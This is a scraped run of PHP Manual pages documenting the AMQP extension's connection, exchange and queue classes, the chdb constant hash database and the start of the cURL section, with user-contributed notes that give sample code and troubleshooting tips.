There are no user contributed notes for this page.
AMQPConnection::setPassword
AMQPConnection::setVhost
AMQPConnection


Set the amqp virtual host

AMQPConnection::setPort
AMQPExchange
AMQPConnection
PHP Manual

AMQPConnection::setVhost

(No version information available, might only be in SVN)

AMQPConnection::setVhost — Set the amqp virtual host

Description

public bool AMQPConnection::setVhost ( string $vhost )

Sets the virtual host to which to connect on the AMQP broker.

Parameters

host

The virtual host to use on the AMQP broker.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an AMQPConnectionException if host is longer then 32characters.

Examples

Example #1 AMQPConnection::setVhost() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the hostname
$cnn->setVhost('myvhost');

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::setPort
AMQPExchange
AMQPConnection


The AMQPExchange class

(No version information available, might only be in SVN)

Introduction

Represents an AMQP exchange.

Class synopsis

AMQPExchange {
/* Methods */
public bool bind ( string $queue_name , string $routing_key )
public __construct ( AMQPConnection $connection [, string $exchange_name = "" ] )
public bool declare ([ string $exchange_name = "" [, string $exchange_type = AMQP_EX_TYPE_DIRECT [, int $flags = 0 ]]] )
public bool delete ([ string $exchange_name = NULL [, int $params = 0 ]] )
public bool publish ( string $message , string $routing_key [, int $params = 0 [, array $attributes ]] )
}

Table of Contents

  • AMQPExchange::bind — The bind purpose
  • AMQPExchange::__construct — Create an instance of AMQPExchange
  • AMQPExchange::declare — Declare a new exchange on the broker.
  • AMQPExchange::delete — Delete the exchange from the broker.
  • AMQPExchange::publish — Publish a message to an exchange.

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::setVhost
AMQPExchange::bind
AMQP


The bind purpose

AMQPExchange
AMQPExchange::__construct
AMQPExchange
PHP Manual

AMQPExchange::bind

(PECL amqp >= Unknown)

AMQPExchange::bind — The bind purpose

Description

public bool AMQPExchange::bind ( string $queue_name , string $routing_key )

Bind an exchange to a queue using the specified routing key.

Parameters

queue_name

The name of the queue to which to bind.

routing_key

The routing key to use as a binding.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws AMQPExchangeException on failure.

User Contributed Notes

There are no user contributed notes for this page.
AMQPExchange
AMQPExchange::__construct
AMQPExchange


Create an instance of AMQPExchange

AMQPExchange::bind
AMQPExchange::declare
AMQPExchange
PHP Manual

AMQPExchange::__construct

(PECL amqp >= Unknown)

AMQPExchange::__construct — Create an instance of AMQPExchange

Description

public AMQPExchange::__construct ( AMQPConnection $connection [, string $exchange_name = "" ] )

Returns a new instance of an AMQPExchange object, associated with the given AMQPConnection object. If the exchange_name parameter is specified and the an exchange by that name exists on the broker, an instance of that specific exchange will be returned. Otherwise, the exchange_name is ignored.

Parameters

AMQPConnection

A valid AMQPConnection object, connected to a broker.

exchange_name

The name of an existing exchange to represent.

Return Values

An AMQPExchange object.

Errors/Exceptions

Throws AMQPExchangeException when connection is not connect to a broker.

User Contributed Notes

There are no user contributed notes for this page.
AMQPExchange::bind
AMQPExchange::declare
AMQPExchange


Declare a new exchange on the broker.

AMQPExchange::__construct
AMQPExchange::delete
AMQPExchange
PHP Manual

AMQPExchange::declare

(PECL amqp >= Unknown)

AMQPExchange::declare — Declare a new exchange on the broker.

Description

public bool AMQPExchange::declare ([ string $exchange_name = "" [, string $exchange_type = AMQP_EX_TYPE_DIRECT [, int $flags = 0 ]]] )

Declare a new exchange on the broker with the given information. If an exchange by that name already exists and the exchange_type and/or flags are specified, the exchange settings will be updated.

If no exchange_type is specified and the exchange does not exist, the exchange type will default to "direct".

Parameters

exchange_name

The name of the exchange.

exchange_type

The type of the exchange. Can be any of AMQP_EX_TYPE_DIRECT, AMQP_EX_TYPE_FANOUT, AMQP_EX_TYPE_TOPIC or AMQP_EX_TYPE_HEADER.

flags

A bitmask of any of the flags: AMQP_PASSIVE, AMQP_DURABLE, AMQP_AUTODELETE.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws AMQPExchangeException on failure.

Examples

Example #1 AMQPExchange::declare() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();
$cnn->connect();

$ex = new AMQPExchange($cnn);
$ex->declare('new_topic_exchange', AMQP_EX_TYPE_DIRECT, AMQP_DURABLE | AMQP_AUTODELETE);

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPExchange::__construct
AMQPExchange::delete
AMQPExchange


Delete the exchange from the broker.

AMQPExchange::declare
AMQPExchange::publish
AMQPExchange
PHP Manual

AMQPExchange::delete

(PECL amqp >= Unknown)

AMQPExchange::delete — Delete the exchange from the broker.

Description

public bool AMQPExchange::delete ([ string $exchange_name = NULL [, int $params = 0 ]] )

Delete and exchange from the broker.

Warning

This function is currently not documented; only its argument list is available.

Parameters

exchange_name

The name of the exchange to delete. If the AMQPExchange object is already bound to an existing exchange and then exchange_name is not specified, the exchange bound to the AMQPExchange object will be deleted.

params

Optionally AMQP_IFUNUSED can be specified to indicate the exchange should not be deleted until no clients are connected to it.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 AMQPExchange::delete() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();
$cnn->connect();

/* Create a new exchange */
$ex = new AMQPExchange($cnn);
$ex->declare('new_topic_exchange', AMQP_EX_TYPE_DIRECT, AMQP_DURABLE | AMQP_AUTODELETE);

/* Delete the previous exchange */
$ex2 = new AMQPExchange($cnn);
$ex2->delete('new_topic_exchange');

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPExchange::declare
AMQPExchange::publish
AMQPExchange


Publish a message to an exchange.

AMQPExchange::delete
AMQPQueue
AMQPExchange
PHP Manual

AMQPExchange::publish

(PECL amqp >= Unknown)

AMQPExchange::publish — Publish a message to an exchange.

Description

public bool AMQPExchange::publish ( string $message , string $routing_key [, int $params = 0 [, array $attributes ]] )

Publish a message to the exchange represented by the AMQPExchange object.

Parameters

message

The message to publish.

routing_key

The routing key to which to publish.

params

One or more of AMQP_MANDATORY and AMQP_IMMEDIATE.

attributes

Supported indexes
key | Description | Default value
Content-type | text/plain
Content-encoding | NULL
message_id | NULL
user_id | NULL
app_id | NULL
delivery_mode | NULL
priority | NULL
timestamp | NULL
expiration | NULL
type | NULL
reply_to | NULL

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an AMQPExchangeException on failure.

User Contributed Notes

prudkiy at mail dot ru 25-Dec-2011 01:26
Please note, here no way to be sure if message really published
The use of flags AMQP_MANDATORY and AMQP_IMMEDIATE not force to return any errors (in case if queue not exists etc) and "publish" returns TRUE anyway
AMQPExchange::delete
AMQPQueue
AMQPExchange


The AMQPQueue class

(No version information available, might only be in SVN)

Introduction

Represents an AMQP queue.

Class synopsis

AMQPQueue {
/* Methods */
public bool ack ( int $delivery_tag [, int $flags = NULL ] )
public bool bind ( string $exchange_name , string $routing_key )
public bool cancel ([ string $consumer_tag = "" ] )
public __construct ( AMQPConnection $amqp_connection [, string $queue_name = "" ] )
public array consume ([ array $options = array() ] )
public int declare ([ string $queue_name = "" [, int $flags = AMQP_AUTODELETE ]] )
public bool delete ( string $queue_name )
public array get ([ int $flags = AMQP_NOACK ] )
public bool purge ( string $queue_name )
public bool unbind ( string $exchange_name , string $routing_key )
}

Table of Contents

  • AMQPQueue::ack — Acknowledge the receipt of a message
  • AMQPQueue::bind — Bind the given queue to a routing key on an exchange.
  • AMQPQueue::cancel — Cancel a queue binding.
  • AMQPQueue::__construct — Create an instance of an AMQPQueue object.
  • AMQPQueue::consume — The consume purpose
  • AMQPQueue::declare — Declare a new queue
  • AMQPQueue::delete — Delete a queue and its contents.
  • AMQPQueue::get — Retrieve the next message from the queue.
  • AMQPQueue::purge — Purge the contents of a queue
  • AMQPQueue::unbind — Unbind the queue from a routing key.

User Contributed Notes

bolo at nospam dot autistici dot org 27-Sep-2011 04:03
Function that perform a php publisher daemon.  [And function to interface with Rabbit server.]

<?php

//First initialise the connection to Rabbit server

function amqp_connection() {

    $connection = new AMQPConnection();
    $connection->setLogin('guest');
    $connection->setPassword('guest');
    $connection->connect();

    if (!$connection->isConnected()) {
         echo "Cannot connect to the broker";
    }
    return $connection;
}

//This is the daemon, it should be more performant because the sleep(1) run the publisher every 1 second. Rabbit is more faster.

function receiver($exchange, $rk, $queuename) {
    $connection=amqp_connection();

    $queue = new AMQPQueue($connection);
    $queue->declare($queuename);
    $queue->bind($exchange, $rk);

    while(true){
        $msg=$queue->get();
        if ($msg['count']>-1){
            echo "\n--------\n";
            print_r($msg['msg']);
            echo "\n--------\n";
        }
    sleep(1);
    }
    if (!$connection->disconnect()) {
        throw new Exception('Could not disconnect');
    }
}

//Next perform message delivery, the FANOUT type is for loadbalacing mode
//It perform the delivery of $text message to every Rabbit servers running in your system.
//Refer to the php manual (http://www.php.net/manual/en/amqp.constants.php) for others type.

function sender($text, $rk, $exchange){
       $connection=amqp_connection();

       $ex = new AMQPExchange($connection);
       $ex->declare($exchange, AMQP_EX_TYPE_FANOUT, AMQP_DURABLE);

       $msg=$ex->publish($text, $rk);
       if (!$msg){echo "error";}echo 'Sended '.$msg.'<br>';

       if (!$connection->disconnect()) {
               throw new Exception('Could not disconnect');
       } else {
               echo "disconnected";
       }
}
?>

P.S. run the daemon with ~$ php /pathto/php.ini functioncaller.php
AMQPExchange::publish
AMQPQueue::ack
AMQP


Acknowledge the receipt of a message

AMQPQueue
AMQPQueue::bind
AMQPQueue
PHP Manual

AMQPQueue::ack

(No version information available, might only be in SVN)

AMQPQueue::ack — Acknowledge the receipt of a message

Description

public bool AMQPQueue::ack ( int $delivery_tag [, int $flags = NULL ] )

This method allows the acknowledgement of a message that is retrieved with the AMQP_NOACK flag through AMQPQueue::get() or AMQPQueue::consume()

Parameters

delivery_tag

The message delivery tag of which to acknowledge receipt.

flags

The only valid flag that can be passed is AMQP_MULTIPLE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 AMQPQueue::ack() example with AMQPQueue::get()

<?php

/* Create a connection using all default credentials: */
$connection = new AMQPConnection();
$connection->connect();

/* create a queue object */
$queue = new AMQPQueue($connection);

//declare the queue
$queue->declare('myqueue');

//get the next message, but don't mark it as delivered
$message = $queue->get(AMQP_NOACK);

echo $message['msg'];

//acknowledge the message as received
$queue->ack($message['delivery_tag']);

?>

Example #2 AMQPQueue::ack() example with AMQPQueue::consume()

<?php

/* Create a connection using all default credentials: */
$connection = new AMQPConnection();
$connection->connect();

/* create a queue object */
$queue = new AMQPQueue($connection);

//declare the queue
$queue->declare('myqueue');

$options = array(
    'min' => 1,
    'max' => 10,
    'ack' => false
);

//get the messages, but don't mark them as delivered
$messages = $queue->consume($options);

foreach ($messages as $message) {
    echo $message['message_body'];
    //acknowledge the message as received
    $queue->ack($message['delivery_tag']);
}

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue
AMQPQueue::bind
AMQPQueue


Bind the given queue to a routing key on an exchange.

AMQPQueue::ack
AMQPQueue::cancel
AMQPQueue
PHP Manual

AMQPQueue::bind

(PECL amqp >= Unknown)

AMQPQueue::bind — Bind the given queue to a routing key on an exchange.

Description

public bool AMQPQueue::bind ( string $exchange_name , string $routing_key )

The bind method will bind the given queue to the specified routing key on the given exchange.

Warning

This function is currently not documented; only its argument list is available.

Parameters

exchange_name

The exchange name on which to bind.

routing_key

The routing key to which to bind.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

gdr at go2 dot pl 19-Aug-2011 06:30
If the bind() operation is blocking for you, make sure you're performing it on a fresh connection - use reconnect() or so. This took me hours to figure out.
AMQPQueue::ack
AMQPQueue::cancel
AMQPQueue


Cancel a queue binding.

AMQPQueue::bind
AMQPQueue::__construct
AMQPQueue
PHP Manual

AMQPQueue::cancel

(PECL amqp >= Unknown)

AMQPQueue::cancel — Cancel a queue binding.

Description

public bool AMQPQueue::cancel ([ string $consumer_tag = "" ] )

Cancel a queue that is already bound to an exchange and routing key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

consumer_tag

The queue name to cancel, if the queue object is not already representative of a queue.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::bind
AMQPQueue::__construct
AMQPQueue


Create an instance of an AMQPQueue object.

AMQPQueue::cancel
AMQPQueue::consume
AMQPQueue
PHP Manual

AMQPQueue::__construct

(PECL amqp >= Unknown)

AMQPQueue::__construct — Create an instance of an AMQPQueue object.

Description

public AMQPQueue::__construct ( AMQPConnection $amqp_connection [, string $queue_name = "" ] )

Creates an AMQPQueue instance representing an AMQP queue on the broker.

Parameters

amqp_connection

A valid AMQPConnection object.

queue_name

The name of the queue to construct. If no queue name is specified, the broker will generate one.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::cancel
AMQPQueue::consume
AMQPQueue


The consume purpose

AMQPQueue::__construct
AMQPQueue::declare
AMQPQueue
PHP Manual

AMQPQueue::consume

(PECL amqp >= Unknown)

AMQPQueue::consume — The consume purpose

Description

public array AMQPQueue::consume ([ array $options = array() ] )

This is a blocking function, in that the function will not return until the minimum number of of messages as specified by the min are read off of the queue. To use a non-blocking function, see AMQPQueue::get().

Parameters

options

options is a an array of consume options. The keys used in the options array are: min, max, and ack. All other keys will be ignored.

For each missing option, the extension will check the ini settings or use the default value.

Return Values

An array containing the messages consumed. The number of returned messages will be at least the number given by min in the options array. But not more than the number given by max.

Examples

Example #1 AMQPQueue::consume() example

<?php

/* Create a connection using all default credentials: */
$connection = new AMQPConnection();
$connection->connect();

/* create a queue object */
$queue = new AMQPQueue($connection);

//declare the queue
$queue->declare('myqueue');

$options = array(
    'min' => 1,
    'max' => 10,
    'ack' => true
);

//get the messages
$messages = $queue->consume($options);

foreach ($messages as $message) {
    echo $message['message_body'];
}

?>

User Contributed Notes

peter dot colclough at toolstation dot com 09-Aug-2011 03:10
Using AMQP_consume, against a RabbitMQ server, actually stuffs memory. It will work in a loop, or on a constant recall, so long as your exchange/queue and messages are set to durable. However, it will alo make the system unusable within a couple of minutes.

Using get(), all is fine. I think this may be a bugette in teh PHP access code... ff to take a look.
hlopetz at gmail dot com 10-May-2011 11:32
you shouldn't use AMQPQueue::consume() if you have to get _all_ incoming messages. you'll get only "max" number of messages and the queue will be destroyed then.

for my amqp.so v0.2.2 this weird behavior is true.

use AMQPQueue::get() and use "count" param instead.
AMQPQueue::__construct
AMQPQueue::declare
AMQPQueue


Declare a new queue

AMQPQueue::consume
AMQPQueue::delete
AMQPQueue
PHP Manual

AMQPQueue::declare

(PECL amqp >= Unknown)

AMQPQueue::declare — Declare a new queue

Description

public int AMQPQueue::declare ([ string $queue_name = "" [, int $flags = AMQP_AUTODELETE ]] )

Declare a new queue on the broker.

Parameters

queue_name

The name of the queue to declare.

flags

A bitmask of any of the flags: AMQP_AUTODELETE, AMQP_PASSIVE, AMQP_DURABLE, AMQP_NOACK.

Return Values

Returns the message count.

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::consume
AMQPQueue::delete
AMQPQueue


Delete a queue and its contents.

AMQPQueue::declare
AMQPQueue::get
AMQPQueue
PHP Manual

AMQPQueue::delete

(PECL amqp >= Unknown)

AMQPQueue::delete — Delete a queue and its contents.

Description

public bool AMQPQueue::delete ( string $queue_name )

Delete a queue from the broker, including its entire contents of unread or unacknowledged messages.

Parameters

queue_name

The name of the queue to delete.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::declare
AMQPQueue::get
AMQPQueue


Retrieve the next message from the queue.

AMQPQueue::delete
AMQPQueue::purge
AMQPQueue
PHP Manual

AMQPQueue::get

(PECL amqp >= Unknown)

AMQPQueue::get — Retrieve the next message from the queue.

Description

public array AMQPQueue::get ([ int $flags = AMQP_NOACK ] )

Retrieve the next message from the queue. This is a non-blocking operation, which means that if there is no message on the queue, the function will return immediately with no message.

Parameters

flags

A bitmask of any of the flags: AMQP_NOACK.

Return Values

Returns array possibly containing keys routing_key, exchange, delivery_tag, Content-type, Content-encoding, type, timestamp, priority, expiration, user_id, app_id, message_id, Reply-to, count, msg.

Examples

Example #1 AMQPQueue::get() example

<?php

/* Create a connection using all default credentials: */
$connection = new AMQPConnection();
$connection->connect();

/* create a queue object */
$queue = new AMQPQueue($connection);

//declare the queue
$queue->declare('myqueue');

//get the next message
$message = $queue->get();

echo $message['msg'];

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::delete
AMQPQueue::purge
AMQPQueue


Purge the contents of a queue

AMQPQueue::get
AMQPQueue::unbind
AMQPQueue
PHP Manual

AMQPQueue::purge

(PECL amqp >= Unknown)

AMQPQueue::purge — Purge the contents of a queue

Description

public bool AMQPQueue::purge ( string $queue_name )

Purge the contents of a queue.

Warning

This function is currently not documented; only its argument list is available.

Parameters

queue_name

The name of the queue to purge

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::get
AMQPQueue::unbind
AMQPQueue


Unbind the queue from a routing key.

AMQPQueue::purge
chdb
AMQPQueue
PHP Manual

AMQPQueue::unbind

(PECL amqp >= Unknown)

AMQPQueue::unbind — Unbind the queue from a routing key.

Description

public bool AMQPQueue::unbind ( string $exchange_name , string $routing_key )

Remove a routing key binding on an exchange from the given queue.

Warning

This function is currently not documented; only its argument list is available.

Parameters

exchange_name

The name of the exchange on which the queue is bound.

routing_key

The binding routing key used by the queue.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::purge
chdb
AMQPQueue


Constant hash database

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • chdb — The chdb class
    • chdb::__construct — Creates a chdb instance
    • chdb::get — Gets the value associated with a key
  • chdb Functions
    • chdb_create — Creates a chdb file

User Contributed Notes

There are no user contributed notes for this page.
AMQPQueue::unbind
Introduction
Other Services


Introduction

CHDB (constant hash database) is a fast key-value database for constant data, realized by using a memory-mapped file and thus providing the following functionalities:

  • Extremely fast initial load, regardless of the size of the database.

  • Only the pages of the file which are actually used are loaded from the disk.

  • Once a page is loaded it is shared across multiple processes.

  • Loaded pages are cached across multiple requests and even process recycling.

A typical use of CHDB is as a faster alternative to defining many PHP constants.

CHDB is internally implemented as a hash-table using a » perfect hashing function, thus guaranteeing worst case O(1) lookup time.

User Contributed Notes

There are no user contributed notes for this page.
chdb
Installing/Configuring
chdb


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
chdb


Requirements

This module uses » cmph (version 0.9) for providing the » perfect hashing function.

cmph 0.9 is required to install this module.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/chdb

» cmph (version 0.9) is required for installing this extension. If cmph is installed in a non-standard directory, use the --with-libcmph-dir=DIR switch, where DIR is the cmph install prefix.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
chdb


Examples

Example #1 Creating a chdb file

<?php

$data = array(
    'key1' => 'value1',
    'key2' => 'value2',
    // ...
);
chdb_create('data.chdb', $data);

?>

The above example will generate a chdb file named data.chdb and containing the key-value pairs defined in $data.

Example #2 Loading and looking up a chdb file

<?php

$chdb = new chdb('data.chdb');
$value1 = $chdb->get('key1');
$value2 = $chdb->get('key2');

echo $value1, PHP_EOL;
echo $value2, PHP_EOL;

?>

The above example will output something similar to:

value1
value2

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
chdb
chdb


The chdb class

(No version information available, might only be in SVN)

Introduction

Represents a loaded chdb file.

Class synopsis

chdb {
/* Methods */
public __construct ( string $pathname )
public string get ( string $key )
}

Table of Contents

  • chdb::__construct — Creates a chdb instance
  • chdb::get — Gets the value associated with a key

User Contributed Notes

There are no user contributed notes for this page.
Examples
chdb::__construct
chdb


Creates a chdb instance

chdb
chdb::get
chdb
PHP Manual

chdb::__construct

(PECL chdb >= 0.1.0)

chdb::__construct — Creates a chdb instance

Description

public chdb::__construct ( string $pathname )

Loads a chdb file, by mapping it into memory.

Note:

While some validity checks are performed on the specified file, they are mostly there to avoid the possibility of common mistakes (for example, loading a file which is not a chdb database, or that is somehow incompatible with the current system). A maliciously crafted chdb file can thus be dangerous if loaded, so chdb files should be trusted and treated with the same security protections used for PHP shared libraries.

Parameters

pathname

The name of the file to load.

Errors/Exceptions

Throws an exception in case the chdb file hasn't been successfully loaded.

Note:

A valid chdb file might fail to load in case it was created on an architecture with a different endianness, with a different version of chdb, or if the file is too big to be mapped into memory (mostly in case of huge files and 32-bit architectures). In these cases the load will fail by throwing an exception, but otherwise not performing any illegal operation.

User Contributed Notes

There are no user contributed notes for this page.
chdb
chdb::get
chdb


Gets the value associated with a key

chdb::__construct
chdb Functions
chdb
PHP Manual

chdb::get

(PECL chdb >= 0.1.0)

chdb::get — Gets the value associated with a key

Description

public string chdb::get ( string $key )

Gets the value associated with a key from a chdb database.

Parameters

key

The key for which to get the value.

Return Values

Returns a string containing the value associated with the given key, or NULL if not found.

Examples

Example #1 chdb::get() example

<?php

$data = array(
    'key1' => 'value1',
    'key2' => 'value2',
    // ...
);
chdb_create('data.chdb', $data);

$chdb = new chdb('data.chdb');
$value1 = $chdb->get('key1');
$value2 = $chdb->get('key2');

echo $value1, PHP_EOL;
echo $value2, PHP_EOL;

?>

The above example will output something similar to:

value1
value2

User Contributed Notes

There are no user contributed notes for this page.
chdb::__construct
chdb Functions
chdb


chdb Functions

Table of Contents

  • chdb_create — Creates a chdb file

User Contributed Notes

There are no user contributed notes for this page.
chdb::get
chdb_create
chdb


Creates a chdb file

chdb Functions
cURL
chdb Functions
PHP Manual

chdb_create

(PECL chdb >= 0.1.0)

chdb_create — Creates a chdb file

Description

bool chdb_create ( string $pathname , array $data )

chdb_create() creates a chdb file containing the specified key-value pairs.

Note:

chdb files are not portable across little-endian and big-endian environments. Except for that, they are portable across different architectures. Also compatibility across different versions of chdb is not guaranteed.

Parameters

pathname

The name of the file to create.

If a file with the same name already exists, it is overwritten.

data

An array containing the key-value pairs to store in the chdb file.

Keys and values are converted to strings before being written to the file, as chdb only support the string type. Note that binary strings are supported as well, both as keys and values.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an exception in case the chdb file hasn't been successfully created.

Examples

Example #1 chdb_create() example

<?php

$data = array(
    'key1' => 'value1',
    'key2' => 'value2',
    // ...
);
chdb_create('data.chdb', $data);

?>

The above example will generate a chdb file named data.chdb and containing the key-value pairs defined in $data.

User Contributed Notes

There are no user contributed notes for this page.
chdb Functions
cURL
chdb Functions


Client URL Library

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic curl example
  • cURL Functions
    • curl_close — Close a cURL session
    • curl_copy_handle — Copy a cURL handle along with all of its preferences
    • curl_errno — Return the last error number
    • curl_error — Return a string containing the last error for the current session
    • curl_exec — Perform a cURL session
    • curl_getinfo — Get information regarding a specific transfer
    • curl_init — Initialize a cURL session
    • curl_multi_add_handle — Add a normal cURL handle to a cURL multi handle
    • curl_multi_close — Close a set of cURL handles
    • curl_multi_exec — Run the sub-connections of the current cURL handle
    • curl_multi_getcontent — Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set
    • curl_multi_info_read — Get information about the current transfers
    • curl_multi_init — Returns a new cURL multi handle
    • curl_multi_remove_handle — Remove a multi handle from a set of cURL handles
    • curl_multi_select — Wait for activity on any curl_multi connection
    • curl_setopt_array — Set multiple options for a cURL transfer
    • curl_setopt — Set an option for a cURL transfer
    • curl_version — Gets cURL version information

User Contributed Notes

madhouse-network at hotmail dot com 21-Apr-2011 01:51
curl does not seem to work with SSL TLS (FTPES)

It will throw the following error:

(1) Protocol ftpes not supported or disabled in libcurl
frank at interactinet dot com 11-Mar-2011 09:29
I wrote the following to see if a submitted URL has a valid http response code and also if it responds quickly.

Use the code like this:

<?php
$is_ok = http_response($url); // returns true only if http response code < 400
?>

The second argument is optional, and it allows you to check for  a specific response code

<?php
http_response($url,'400'); // returns true if http status is 400
?>

The third allows you to specify how long you are willing to wait for a response.

<?php
http_response($url,'200',3); // returns true if the response takes less than 3 seconds and the response code is 200
?>

<?php
function http_response($url, $status = null, $wait = 3)
{
        $time = microtime(true);
        $expire = $time + $wait;

        // we fork the process so we don't have to wait for a timeout
        $pid = pcntl_fork();
        if ($pid == -1) {
            die('could not fork');
        } else if ($pid) {
            // we are the parent
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_NOBODY, TRUE); // remove body
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $head = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if(!$head)
            {
                return FALSE;
            }

            if($status === null)
            {
                if($httpCode < 400)
                {
                    return TRUE;
                }
                else
                {
                    return FALSE;
                }
            }
            elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)
            {
            sleep(0.5);
            }
            return FALSE;
        }
    }
?>

Hope this example helps.  It is not 100% tested, so any feedback [sent directly to me by email] is appreciated.
shidec00 at yahoo dot com 19-Jan-2011 02:55
This anomali only happen on windows.
Server indicates that some variables built by http_build_query() is missing.

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options);
$message = $this->_post_curl($ping_url);
?>

After debugging i found that $ping_url contain url like :

http://example.com/ping.php?app=1&amp;key=mail&amp;ttd=df52861e

But myserver give "No ttd GET variable" response

This problem fixed by adding optional parameter to make sure that http_build_query() use only '&' as arg separator rather than '&amp;'

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options,'','&');
$message = $this->_post_curl($ping_url);
?>
ramez at dot dontspan dot zegenie dot com 27-Oct-2010 09:19
CURL failed with PHP5.3 and Apache2.2.X on my Windows 7 machine.

It turns out that it's not enough to copy the two dll's mentioned (libeay32 and sslea32) from the php folder into your system32 folder. You HAVE TO UNBLOCK THESE TWO FILES.

Right click the file, select unblock, for each one. Then restart Apache.

Another very handy security feature added into Windows.
artax_N_O_S_P_A_M_erxes2 at iname dot com 17-Sep-2010 08:59
I needed to use cURL in a php script to download data using not only SSL for the server authentication but also for client authentication.
On a default install of Fedora, setting up the proper cURL parameters, I would get an error:

$ php curl.php
 Peer certificate cannot be authenticated with known CA certificates

The data on http://curl.haxx.se/docs/sslcerts.html was most useful. Indeed, toward to bottom it tells you to add a missing link inside /etc/pki/nssdb to use the ca-bundle.crt file. You do it so:

# cd /etc/pki/nssdb
# ln -s /usr/lib64/libnssckbi.so libnssckbi.so

Now you can do client authentication, provided you have your certificate handy with:

<?php
$data = "<soap:Envelope>[...]</soap:Envelope>";
$tuCurl = curl_init();
curl_setopt($tuCurl, CURLOPT_URL, "https://example.com/path/for/soap/url/");
curl_setopt($tuCurl, CURLOPT_PORT , 443);
curl_setopt($tuCurl, CURLOPT_VERBOSE, 0);
curl_setopt($tuCurl, CURLOPT_HEADER, 0);
curl_setopt($tuCurl, CURLOPT_SSLVERSION, 3);
curl_setopt($tuCurl, CURLOPT_SSLCERT, getcwd() . "/client.pem");
curl_setopt($tuCurl, CURLOPT_SSLKEY, getcwd() . "/keyout.pem");
curl_setopt($tuCurl, CURLOPT_CAINFO, getcwd() . "/ca.pem");
curl_setopt($tuCurl, CURLOPT_POST, 1);
curl_setopt($tuCurl, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($tuCurl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($tuCurl, CURLOPT_POSTFIELDS, $data);
curl_setopt($tuCurl, CURLOPT_HTTPHEADER, array("Content-Type: text/xml","SOAPAction: \"/soap/action/query\"", "Content-length: ".strlen($data)));

$tuData = curl_exec($tuCurl);
if(!curl_errno($tuCurl)){
  $info = curl_getinfo($tuCurl);
  echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
} else {
  echo 'Curl error: ' . curl_error($tuCurl);
}

curl_close($tuCurl);
echo $tuData;
?>
cliffclof atty gmail dotty com 05-Apr-2010 02:21
A solution that addresses repeat calls to the same set of urls using the same connection simulating frequent ajax calls in separate browser tabs.

In a unique situation you may need to set a cookie then use that cookie for multiple separate persistent connections using the same session cookie.  The problem is the session cookie may change while your doing your persistent calls.  If you set every curl handle to update a shared cookiejar on close you may overwrite the new found session value with the old session value depending on the closing order of your handles. Also, because the cookiejar is only written to on a curl_close, you may be using dissimilar or old session info in some of your 'faked browser tabs'.

To solve this problem I created a unique handle that opens and closes specifically to set a cookie file using CURLOPT_COOKIEJAR. Then I just use the read-only CURLOPT_COOKIEFILE on the multiple separate persistent handles.

This solves the problem of shared cookies fighting to write their values and keep persistent calls using the most up to date cookie information.

Note: In my case the multiple calls were in a while loop and I was using php in shell.  The session cookie value plus browser type limited the number of connections available and i wanted to use the max connections per session.
kalyan at kalyanchakravarthy dot net 01-Mar-2010 07:32
When using curl with cookies, Relative path doesn't seem to work.

Use absolute path for setting the variables CURLOPT_COOKIEFILE & CURLOPT_COOKIEJAR.

To make life easier use the realpath("file.txt") function to get the absolute path.
Chris Pollett 18-Jan-2010 06:56
